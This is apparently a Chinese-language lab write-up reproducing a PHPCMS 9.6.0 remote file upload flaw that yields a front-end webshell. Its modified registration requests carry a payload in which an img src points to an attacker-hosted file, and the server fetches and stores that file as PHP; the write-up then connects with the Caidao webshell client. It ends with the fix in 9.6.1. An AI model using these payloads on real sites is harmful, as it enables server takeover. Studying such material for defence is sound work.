0x00:前言
PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。
可以直接前台getshell。
phpcms 9.6.0
0x01:漏洞测试
1.1 浏览器访问前台注册会员
1.2 点击注册按钮,用burp抓包
发送到Repeater模块
1.3 在另外一台机器上打开web功能(实验机器winxp 打开wampserver ,地址为192.168.1.117)
并在www根目录下创建文件phpinfo.txt,内容为<?php phpinfo();?>
1.4 构造POC
原本post请求数据:
siteid=1&modelid=10&username=admin&password=admin123&pwdconfirm=admin123&email=admin%40qq.com&nickname=admin&info%5Bbirthday%5D=2020-03-24&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
构造POC:
siteid=1&modelid=11&username=adminv2&password=adminv2123&email=adminv2%40qq.com&info[content]=<img src=http://192.168.1.117/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
1.5 将数据修改为POC
1.6 返回reponse中有一个路径
1.7 访问该路径
1.8 上传一句话木马,每次发送的时候,都要修改username,password和email字段值,因为不能重复
构造POC
siteid=1&modelid=11&username=adminv6&password=adminv6123&email=adminv6%40qq.com&info[content]=<img src=http://192.168.1.117/shell.txt?.php#.jpg>&dosubmit=1&protocol=
1.9 用菜刀连接
我的菜刀怎么连不上,难道是我的php版本的问题嘛????
但是明明已经上传成功了,也不是菜刀不锋利了,试了一下再虚拟机中的shell都可以连接,但是本机的就是不可以,可能跟版本有关系
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次。